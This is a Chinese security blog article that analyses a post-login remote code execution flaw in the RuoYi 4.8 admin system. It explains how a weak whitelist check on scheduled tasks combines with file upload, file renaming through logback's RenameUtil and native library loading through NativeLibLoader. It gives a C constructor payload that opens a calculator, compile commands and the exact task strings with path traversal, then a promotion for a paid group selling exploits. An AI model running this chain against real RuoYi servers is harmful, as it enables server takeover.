ruoyi系统 4.8 后台RCE漏洞分析

ruoyi系统 4.8 后台RCE漏洞分析

1506847328721267 神农Sec 2025-05-18 01:00

扫码加圈子

获内部资料

网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。
不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。

原文链接:
https://xz.aliyun.com/news/17890

作者:
1506847328721267


0x1 环境搭建

利用需要知道profile目录

环境搭建如下

https://github.com/yangzongzhuan/RuoYi/releases

导入数据库,修改application-druid中的数据库账号密码

修改application中的文件路径及log存放路径

启动成功


0x2 漏洞分析

计划任务

根据提交数据包锁定后端路由

调试看一下具体做了什么

前几个都是在判断是否有包含rmi ldap http关键词,禁止对这些协议进行调用

还判断了是否有一些黑名单中的类

进入白名单的判断

提取出调用的类名,判断其中是否包含白名单字符串

白名单字符串为com.ruoyi.quartz.task

注意这里是用正则去匹配的,所以该字符串在任意位置都可以,所以存在可以绕过的可能

后续就会进入正常的保存计划任务流程

当启动任务时,会调用方法

获取需要调用的类名方法名参数值

在获取方法参数时进行了处理,只允许为字符串/布尔/长整/浮点/整形,无法传递类对象

接着会实例化该类,反射调用其方法

该方法为public修饰

我们想要利用需要达成的是

  • 使用的类不在黑名单中
  • 要存在com.ruoyi.quartz.task字符串
  • 不可以使用rmi ldap http协议


0x3 文件上传

而在ruoyi中存在一个文件上传点

我们可以随便上传一个文件看看


那么我们可以上传一个名字包含com.ruoyi.quartz.task字符串的文件

0x4 RCE

结合导致RCE

在java中存在一种机制叫做JNI,可以通过加载外部链接库,从而执行其中的
构造函数

而com.sun.glass.utils.NativeLibLoader的loadLibrary方法就可以去加载链接库,也是public修饰


注意他会自动在后面添加dylib等后缀,在不同的系统中可能有不同的后缀,并且要注意架构问题

构造并上传链接库

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__ ((__constructor__)) void angel (void) {
    // 调用 system 函数打开计算器应用程序
    system("open -a calculator");
}


//gcc -arch x86_64 -shared -o 1.dylib calc.c
//根据不同架构修改

编译后上传该文件

我们还需要修改文件名,可以使用RenameUtil类方法去对文件名进行修改

ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying("/Users/Aecous/tmp/upload/2025/04/25/com.ruoyi.quartz.task_20250425182743A001.txt","/Users/Aecous/tmp/upload/2025/04/25/com.ruoyi.quartz.task_20250425182743A001.dylib");

可以修改指定文件名

启动任务

文件名修改成功

尝试rce

com.sun.glass.utils.NativeLibLoader.loadLibrary('../../../../../../../../../../../Users/Aecous/tmp/upload/2025/04/25/com.ruoyi.quartz.task_20250425182743A001');


0x5 内部圈子详情介绍

我们是
神农安全
,点赞 + 在看
 铁铁们点起来,最后祝大家都能心想事成、发大财、行大运。

内部圈子介绍

圈子专注于更新src/红蓝攻防相关:

1、维护更新src专项漏洞知识库,包含原理、挖掘技巧、实战案例
2、知识星球专属微信“小圈子交流群”
3、微信小群一起挖洞
4、内部团队专属EDUSRC证书站漏洞报告
5、分享src优质视频课程(企业src/EDUSRC/红蓝队攻防)
6、分享src挖掘技巧tips
7、不定期有众测、渗透测试项目(一起挣钱)
8、不定期有工作招聘内推(工作/护网内推)
9、送全国职业技能大赛环境+WP解析(比赛拿奖)

内部圈子
专栏介绍

知识星球内部共享资料截屏详情如下

(只要没有特殊情况,每天都保持更新)

知识星球——
神农安全

星球现价 
¥45元

如果你觉得应该加入,就不要犹豫,价格只会上涨,不会下跌

星球人数少于800人 45元/年

星球人数少于1000人 60元/年

(新人优惠卷20,扫码或者私信我即可领取)

欢迎加入星球一起交流,券后价仅45元!!! 即将满800人涨价

长期
更新,更多的0day/1day漏洞POC/EXP

内部知识库–
(持续更新中)

知识库部分大纲目录如下:

知识库跟
知识星球联动,基本上每天保持
更新,满足圈友的需求

知识库和知识星球有师傅们关注的
EDUSRC

CNVD相关内容(内部资料)

还有网上流出来的各种
SRC/CTF等课程视频

量大管饱,扫描下面的知识星球二维码加入即可

内部小圈子——
圈友反馈

良心价格


神农安全公开交流群

有需要的师傅们直接扫描文章二维码加入,然后要是后面群聊二维码扫描加入不了的师傅们,直接扫描文章开头的二维码加我(备注加群)